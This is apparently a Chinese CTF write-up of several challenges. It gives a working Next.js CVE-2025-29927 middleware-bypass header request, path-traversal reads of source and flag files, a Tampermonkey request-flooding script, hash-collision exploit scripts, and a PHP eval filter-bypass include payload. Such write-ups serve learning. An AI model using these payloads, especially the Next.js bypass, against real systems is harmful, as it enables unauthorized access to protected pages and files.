Next Song is 春日影

Next.js CVE-2025-29927

受影响版本

  • Next.js 11.1.4 ~ 13.5.6:未修补版本
  • Next.js 14.x:在 14.2.25 之前均受影响
  • Next.js 15.x:在 15.2.3 之前均受影响

请求头添加x-middleware-subrequest: middleware:middleware:middleware即可访问/admin

dkri3c1_love_cat

/view?img=/app/app.py读源码
app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from flask import Flask, request, send_file, abort
import os

app = Flask(__name__)

@app.route('/')
def index():
return '''

<h1> 🐱 Welcome to dkri3c1's Cat Photo Shop </h1>
<p>Cat is Cuteeeee :D </p>
<code>BTW, You can use /view?img=cat.png to view Cute Catttt </code>
<br></br>
<img src="static/images/cat.png" width="500" height="500">
'''

@app.route('/view')
def view_image():
img = request.args.get('img', '')
img = img.replace('../','')
path = os.path.join('static/images', img)

try:
return send_file(path)
except FileNotFoundError:
return abort(404, 'File not found.')

if __name__ == '__main__':
app.run('0.0.0.0',debug=False,port='1234')

没啥用,直接读flag
/view?img=/app/flag.txt

Middle of nowhere

离谱,同一天的两个比赛出一模一样的题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /admin HTTP/2
Host: middleofnowhere-dhsbd8.blitzhack.xyz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
X-Middleware-Subrequest: middleware:middleware:middleware
Priority: u=0, i
Te: trailers
Connection: close

Fleg Store

给了5个coupon,每个可以兑换10块钱,但是需要70块才能买flag,一眼条件竞争秒了

靠秒完才发现可以把flag价格直接改了

Fleg Store 2.0

也是一道类似要不断刷自己钱的题,需要在屏幕上点击积累click数然后save,并且每次save只能比上次的click多5个以内,最后需要9999个click购买flag。一开始尝试用python脚本,但是一方面好像延迟有点高,另一方面save请求发过去后刷新网页没有显示click数变化。最后用油猴脚本完美规避以上两个问题。

油猴脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
// ==UserScript==
// @name Save Button Auto Clicker
// @namespace http://tampermonkey.net/
// @version 0.1
// @description 自动循环发送/save请求并递增clickCount
// @author Your Name
// @match *://*/*
// @grant GM_xmlhttpRequest
// ==/UserScript==

(function() {
'use strict';

// 初始clickCount值(可根据需要修改)
let clickCount = 0;
// 循环间隔时间(毫秒)
const intervalTime = 800;
// 最大循环次数(0表示无限循环)
const maxIterations = 0;
// 当前迭代次数
let currentIteration = 0;

// 模拟showToast函数(如果原网站没有提供)
function showToast(message) {
console.log(`clickCount: ${clickCount}`)
console.log(`Toast: ${message}`);
// 如果原网站有showToast函数,可以直接使用
if (typeof window.showToast === 'function') {
window.showToast(message);
}
}

// 发送save请求的函数
function sendSaveRequest() {
// 每次增加5
clickCount += 5;

GM_xmlhttpRequest({
method: "POST",
url: "/save",
headers: {
"Content-Type": "application/json"
},
data: JSON.stringify({ clicks: clickCount }),
onload: function(response) {
try {
const data = JSON.parse(response.responseText);
if (data.error) {
showToast(data.error);
} else {
showToast(data.message);
}
} catch (e) {
showToast("Error parsing response.");
}
},
onerror: function() {
showToast("Error saving.");
}
});

currentIteration++;
// 检查是否达到最大迭代次数
if (maxIterations > 0 && currentIteration >= maxIterations) {
showToast(`Completed ${maxIterations} iterations.`);
return;
}

// 设置下一次请求
setTimeout(sendSaveRequest, intervalTime);
}

// 启动循环
setTimeout(sendSaveRequest, intervalTime);
showToast("Auto save started. Initial clickCount: " + clickCount);
})();

Unstoppable force meets immovable object

main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from flask import Flask, redirect, render_template, request, url_for
from secret import FLAG

app = Flask(__name__)

NOT_PASSWORD = "P@ssword@123"

def immovable_object(data, block_size=32):
if len(data) % block_size != 0:
data += b"\0" * (block_size - (len(data) % block_size))

h = 0
for i in range(0, len(data), block_size):
block = int.from_bytes(data[i : i + block_size], "big")
h ^= block

return h


@app.route("/", methods=["GET", "POST"])
def home():
if request.method == "POST":
password = request.form["password"]
unstopabble_force = immovable_object(password.encode("utf-8"))
if password != NOT_PASSWORD and unstopabble_force == immovable_object(
NOT_PASSWORD.encode()
):
return FLAG
return redirect(url_for("home"))

url_for("static", filename="style.css")
return render_template("index.html")


if __name__ == "__main__":
app.run(debug=False, host="0.0.0.0")

grok一把梭了,nb

代码结构和功能

  • 导入和初始化

    • 代码使用 Flask 框架,导入 Flaskredirectrender_templaterequesturl_for
    • secret 模块导入 FLAG,这是一个假设存储了敏感信息的变量(通常是 CTF 挑战中的目标)。
    • 初始化 Flask 应用,设置 NOT_PASSWORD = "P@ssword@123" 作为参考密码。
  • immovable_object 函数

    • 这是一个哈希函数,接受字节输入 data 和块大小 block_size(默认为 32 字节)。
    • 功能
      1. 如果输入数据的长度不是 block_size 的倍数,则用 \0(空字节)填充至 block_size 的倍数。
      2. 将输入数据按 block_size 分块,每个块转换为大端字节序的整数。
      3. 对所有块的整数值进行异或(XOR)操作,返回最终的哈希值 h
    • 关键点
      • 哈希函数的输出是单一的整数,依赖于输入数据的分块和异或操作。
      • 如果两个不同输入在相同的分块方式下产生相同的异或结果,则它们具有相同的哈希值(即存在哈希碰撞)。
  • home 路由

    • 处理 / 路径的 GETPOST 请求。
    • GET 请求
      • 调用 url_for("static", filename="style.css")(可能是用于加载静态 CSS 文件,但未实际使用返回值)。
      • 渲染 index.html 模板,显示一个表单页面(假设用于输入密码)。
    • POST 请求
      • 从表单获取 password 参数。
      • 将输入的 password 编码为 UTF-8 字节,调用 immovable_object 计算哈希值,存储在 unstopabble_force 中。
      • 比较输入的 password 是否不等于 NOT_PASSWORD(即 P@ssword@123),并且输入的哈希值是否等于 NOT_PASSWORD 的哈希值。
      • 如果条件满足(即 password != NOT_PASSWORD 且哈希值相等),返回 FLAG
      • 否则,重定向到 home 路由(重新显示表单页面)。
  • 应用运行

    • Flask 应用以 debug=Falsehost="0.0.0.0" 运行,监听所有网络接口。

漏洞分析

  • 核心漏洞immovable_object 函数是一个自定义的哈希函数,基于分块和异或操作。由于异或的性质,存在哈希碰撞的可能性。如果我们能构造一个字符串 password,使得:

    • password != "P@ssword@123"
    • immovable_object(password.encode("utf-8")) == immovable_object("P@ssword@123".encode("utf-8"))
    • 那么就可以绕过验证,获取 FLAG
  • 异或操作的特性

    • 异或操作是可逆的,且满足结合律和交换律。
    • 如果两个输入的分块异或结果相同,则哈希值相同。
    • 由于填充机制,输入长度必须是 32 字节的倍数(或填充后达到 32 字节的倍数)。
  • 输入限制

    • 输入 password 是通过表单提交的字符串,编码为 UTF-8 字节。
    • block_size=32 意味着输入会被分成 32 字节的块,每块转换为大端整数后进行异或。
    • NOT_PASSWORDP@ssword@123)的 UTF-8 编码长度为 12 字节,小于 32 字节,因此会被填充 \0 到 32 字节。
  • 哈希碰撞的可能性

    • 如果我们构造一个输入,使其在分块后与 NOT_PASSWORD 的分块异或结果相同,就能触发哈希碰撞。
    • 由于 NOT_PASSWORD 的长度为 12 字节,填充后为 32 字节(前 12 字节是 P@ssword@123 的 UTF-8 编码,后 20 字节是 \0),我们需要构造一个不同字符串,但其 32 字节分块的异或结果与 NOT_PASSWORD 的结果相同。

获取 FLAG 的方案

要获取 FLAG,我们需要构造一个字符串 password,满足以下条件:

  • password != "P@ssword@123"
  • immovable_object(password.encode("utf-8")) == immovable_object("P@ssword@123".encode("utf-8"))

分析 NOT_PASSWORD 的哈希值

  • NOT_PASSWORD = "P@ssword@123" 的 UTF-8 编码为:
    1
    2
    P @ s s w o r d @ 1 2 3
    50 40 73 73 77 6f 72 64 40 31 32 33 (十六进制)
    长度为 12 字节。
  • block_size=32 处理:
    • 数据被填充为 32 字节,即 50 40 73 73 77 6f 72 64 40 31 32 33 00 00 ... 00(后 20 字节为 \0)。
    • 整个 32 字节作为一个块,转换为大端整数:
      1
      0x50407373776f7264403132330000000000000000000000000000000000000000
    • 由于只有一个块,哈希值 h 就是这个整数:
      1
      h = 0x50407373776f7264403132330000000000000000000000000000000000000000

构造哈希碰撞

  • 我们需要构造一个字符串 password,其 UTF-8 编码后:

    • 长度可以是任意值,但会被填充到 32 字节的倍数。
    • 分块后所有块的异或结果等于 0x50407373776f7264403132330000000000000000000000000000000000000000
    • 字符串本身不能等于 P@ssword@123
  • 简单碰撞构造

    • 假设我们构造一个字符串,其 UTF-8 编码后长度为 32 字节(避免填充影响),并且整个 32 字节的异或结果与上述值相同。
    • 一个简单的办法是构造一个 32 字节的字符串,其内容与 P@ssword@123 的填充后字节相同,但字符串本身不同。
    • 例如,我们可以构造一个字符串,其 UTF-8 编码的字节与 50 40 73 73 77 6f 72 64 40 31 32 33 00 ... 00 相同,但实际字符串内容不同。
  • 构造方法

    • 由于 NOT_PASSWORD 的 UTF-8 编码为 12 字节,填充 20 个 \0 后成为 32 字节。
    • 我们可以构造一个 32 字节的 UTF-8 字符串,确保其字节值异或后等于上述值。
    • 一个可行的字符串是 P@ssword@123 加上 20 个任意字符(非 \0),然后调整最后一个块的异或结果。
    • 但是,简单的字符串可能难以直接构造,我们可以利用异或的性质:
      • 如果有两个块 AB,使得 A ^ B = target_hash,则可以构造两个块的输入。
      • 例如,构造一个 64 字节的输入,分成两个 32 字节块:
        • 第一个块为任意内容(例如全 0)。
        • 第二个块为 first_block ^ target_hash

构造输入

  • 目标哈希值:

    1
    0x50407373776f7264403132330000000000000000000000000000000000000000
  • 构造一个 64 字节的输入:

    • 前 32 字节:全 0(即 0x00000000...0000)。
    • 后 32 字节:0x00000000...0000 ^ 0x50407373776f7264403132330000000000000000000000000000000000000000 = 0x50407373776f7264403132330000000000000000000000000000000000000000
  • 对应的 UTF-8 字符串:

    • 前 32 字节:可以是 32 个 ASCII 字符 00x30),即字符串 "00000000000000000000000000000000"
    • 后 32 字节:50 40 73 73 77 6f 72 64 40 31 32 33 00 ... 00,可以是 P@ssword@123 加上 20 个 \0(但需要确保字符串整体不等于 P@ssword@123)。
  • 更简单的构造:

    • 构造一个 32 字节的字符串,其字节值为 50 40 73 73 77 6f 72 64 40 31 32 33 00 ... 00,但字符串内容不同。
    • 例如,使用 P@ssword@123 加上一些不可见字符(如 \0 或其他控制字符),但需要确保字符串不完全等于 P@ssword@123
  • 最终输入

    • 一个简单的碰撞输入是构造一个 32 字节的字符串,其字节值与 P@ssword@123 的填充后字节相同,但字符串内容不同。
    • 例如,字符串 "P@ssword@123" + "\0" * 20 的 UTF-8 编码与 NOT_PASSWORD 的填充后字节相同,但字符串本身不同(因为 Python 字符串比较不包括填充的 \0)。
    • 验证:
      • "P@ssword@123" + "\0" * 20 != "P@ssword@123"(满足 password != NOT_PASSWORD)。
      • immovable_object(("P@ssword@123" + "\0" * 20).encode("utf-8"))
        • 编码后为 50 40 73 73 77 6f 72 64 40 31 32 33 00 ... 00(32 字节)。
        • 单个块的异或结果与 NOT_PASSWORD 的哈希值相同。

完整的 Python 脚本

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

# 目标 URL(根据实际服务器地址修改)
url = "https://ufmio-n1sj9nsb.blitzhack.xyz/"

# 构造碰撞输入
NOT_PASSWORD = "P@ssword@123"
password = NOT_PASSWORD + "\0" * 20 # 构造 32 字节输入,触发哈希碰撞

# 验证哈希碰撞(可选,用于本地测试)
def immovable_object(data, block_size=32):
if len(data) % block_size != 0:
data += b"\0" * (block_size - (len(data) % block_size))
h = 0
for i in range(0, len(data), block_size):
block = int.from_bytes(data[i : i + block_size], "big")
h ^= block
return h

# 确认哈希值相等且字符串不同
assert password != NOT_PASSWORD
assert immovable_object(password.encode("utf-8")) == immovable_object(NOT_PASSWORD.encode("utf-8"))

# 发送 POST 请求
data = {"username": "admin", "password": password}
response = requests.post(url, data=data)

# 打印响应
print("Response:", response.text)

靠,这不就相当于随便填充一下就成另一个字符串了,有点过于简单了

Unstoppable force meets immovable object 2

main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from flask import Flask, redirect, render_template, request, url_for
from secret import FLAG

app = Flask(__name__)


def complex_custom_hash(data_string):
if not isinstance(data_string, str):
raise TypeError("Input must be a string.")

data_bytes = data_string.encode("utf-8")

P = 2**61 - 1
B = 101

hash_val = 0

for byte_val in data_bytes:
hash_val = (hash_val * B + byte_val) % P

length_mix = (len(data_bytes) * 123456789) % P
hash_val = (hash_val + length_mix) % P

chunk_size = 40
num_chunks = 64 // chunk_size

folded_hash = 0
temp_hash = hash_val

for _ in range(num_chunks):
chunk = temp_hash & ((1 << chunk_size) - 1)
folded_hash = (folded_hash + chunk) % (1 << chunk_size)
temp_hash >>= chunk_size

final_small_hash = folded_hash

scrambled_hash = 0
for _ in range(3):
scrambled_hash = (
final_small_hash ^ (final_small_hash >> 7) ^ (final_small_hash << 3)
) & ((1 << chunk_size) - 1)
final_small_hash = scrambled_hash

return f"{scrambled_hash:04x}"


@app.route("/", methods=["GET", "POST"])
def home():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
if username != password and complex_custom_hash(
password
) == complex_custom_hash(username):
return FLAG
return redirect(url_for("home"))

url_for("static", filename="style.css")
return render_template("index.html")


if __name__ == "__main__":
app.run(debug=False, host="0.0.0.0")

这次grok寄了,deepseek一把梭了,win

代码分析

  1. 核心功能

    • 用户提交用户名和密码
    • 要求用户名≠密码
    • 要求complex_custom_hash(username) == complex_custom_hash(password)
    • 满足以上条件则返回Flag
  2. 哈希函数分析

    • 这是一个自定义的哈希函数,基于多项式滚动哈希
    • 使用大质数P=2^61-1作为模数
    • 包含长度混合、分块处理和位操作等步骤
    • 最终输出4个十六进制字符

获取Flag的方案

要获取Flag,我们需要找到两个不同的字符串(用户名和密码)但具有相同的哈希值。由于哈希输出空间很小(16^4=65536种可能),很容易发生碰撞。

具体步骤

  1. 编写一个脚本生成随机字符串并计算哈希值
  2. 存储哈希值和对应的字符串
  3. 当发现两个不同字符串具有相同哈希值时,使用这对字符串提交表单

完整的Python脚本

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import random
import string
from flask import Flask, redirect, render_template, request, url_for

# 复制目标应用的哈希函数
def complex_custom_hash(data_string):
if not isinstance(data_string, str):
raise TypeError("Input must be a string.")

data_bytes = data_string.encode("utf-8")

P = 2**61 - 1
B = 101

hash_val = 0

for byte_val in data_bytes:
hash_val = (hash_val * B + byte_val) % P

length_mix = (len(data_bytes) * 123456789) % P
hash_val = (hash_val + length_mix) % P

chunk_size = 40
num_chunks = 64 // chunk_size

folded_hash = 0
temp_hash = hash_val

for _ in range(num_chunks):
chunk = temp_hash & ((1 << chunk_size) - 1)
folded_hash = (folded_hash + chunk) % (1 << chunk_size)
temp_hash >>= chunk_size

final_small_hash = folded_hash

scrambled_hash = 0
for _ in range(3):
scrambled_hash = (
final_small_hash ^ (final_small_hash >> 7) ^ (final_small_hash << 3)
) & ((1 << chunk_size) - 1)
final_small_hash = scrambled_hash

return f"{scrambled_hash:04x}"

# 碰撞查找函数
def find_collision():
hash_dict = {}
attempts = 0

while True:
# 生成长度1-20的随机字符串
length = random.randint(1, 20)
random_str = ''.join(random.choices(string.ascii_letters + string.digits, k=length))

h = complex_custom_hash(random_str)

if h in hash_dict:
if random_str != hash_dict[h]:
print(f"碰撞找到于尝试 {attempts} 次后")
print(f"字符串1: {hash_dict[h]}")
print(f"字符串2: {random_str}")
print(f"相同哈希值: {h}")
return (hash_dict[h], random_str)
else:
hash_dict[h] = random_str

attempts += 1
if attempts % 10000 == 0:
print(f"已尝试 {attempts} 次...")

# 自动提交表单获取Flag
def get_flag():
# 首先找到一对碰撞
str1, str2 = find_collision()

# 模拟表单提交
import requests

url = "https://ufmiotwo-asdhwsad.blitzhack.xyz/" # 根据实际情况修改URL
data = {
"username": str1,
"password": str2
}

response = requests.post(url, data=data)
print("服务器响应:")
print(response.text)

# 如果Flag在响应中
if "flag" in response.text.lower():
print("成功获取Flag!")
else:
print("未能获取Flag,请检查")

if __name__ == "__main__":
# 直接运行获取Flag
get_flag()

好像也很直白,就硬爆

Blitz Traffic

流量包中的tcp数据包传输了一个png,将每个tcp包的TCP Payload提出来即可

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3
from scapy.all import *
import argparse

def extract_tcp_payload(pcap_file, output_file):
"""
从PCAP文件中提取所有TCP数据包的Payload并保存到文件
:param pcap_file: 输入的PCAP文件路径
:param output_file: 输出的Payload文件路径
"""
packets = rdpcap(pcap_file)
with open(output_file, 'wb') as f:
for pkt in packets:
if pkt.haslayer(TCP) and pkt.haslayer(Raw):
payload = pkt[Raw].load
f.write(payload)
# 可选:在每个payload之间添加分隔符
# f.write(b'\n\n--- TCP PAYLOAD SEPARATOR ---\n\n')

if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Extract TCP payloads from a PCAP file')
parser.add_argument('-i', '--input', required=True, help='Input PCAP file')
parser.add_argument('-o', '--output', required=True, help='Output file for TCP payloads')
args = parser.parse_args()

print(f"Extracting TCP payloads from {args.input} to {args.output}...")
extract_tcp_payload(args.input, args.output)
print("Extraction completed.")

python exp.py -i blitzhack_traffic.pcap -o output.png

或者用tshark

1
2
3
4
5
6
tshark.exe -r blitzhack_traffic.pcap -Y "tcp.payload" -T fields -e tcp.payload > tcp_payloads.txt

-r blitzhack_traffic.pcap: 指定输入的PCAP文件
-Y "tcp.payload": 过滤只显示包含TCP Payload的数据包
-T fields -e tcp.payload: 指定输出格式为字段,并只输出tcp.payload字段
> tcp_payloads.txt: 将输出重定向到文件

evalgelist

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
if (isset($_GET['input'])) {
echo '<div class="output">';
$filtered = str_replace(['$', '(', ')', '`', '"', "'", "+", ":", "/", "!", "?"], '', $_GE['input']);
$cmd = $filtered . '();';

echo '<strong>After Security Filtering:</strong> <span class="filtered">' .htmlspecialchars($cmd) . '</span>' . "\n\n";

echo '<strong>Execution Result:</strong>' . "\n";
echo '<div style="border-left: 3px solid #007bff; padding-left: 15px; margin-left: 10px">';

try {
ob_start();
eval($cmd);
$result = ob_get_clean();

if (!empty($result)) {
echo '<span class="success">✅ Function executed successfully!</span>' . "\n";
echo htmlspecialchars($result);
} else {
echo '<span class="success">✅ Function executed (no output)</span>';
}
} catch (Error $e) {
echo '<span class="error">❌ Error: ' . htmlspecialchars($e->getMessage()) . '</span>';
} catch (Exception $e) {
echo '<span class="error">❌ Exception: ' . htmlspecialchars($e->getMessage()) . '<span>';
}

echo '</div>';
echo '</div>';
}
?>

用php目录分隔符DIRECTORY_SEPARATOR代替/,再用include或者require导入flag即可

payload

1
?input=include DIRECTORY_SEPARATOR.flag;#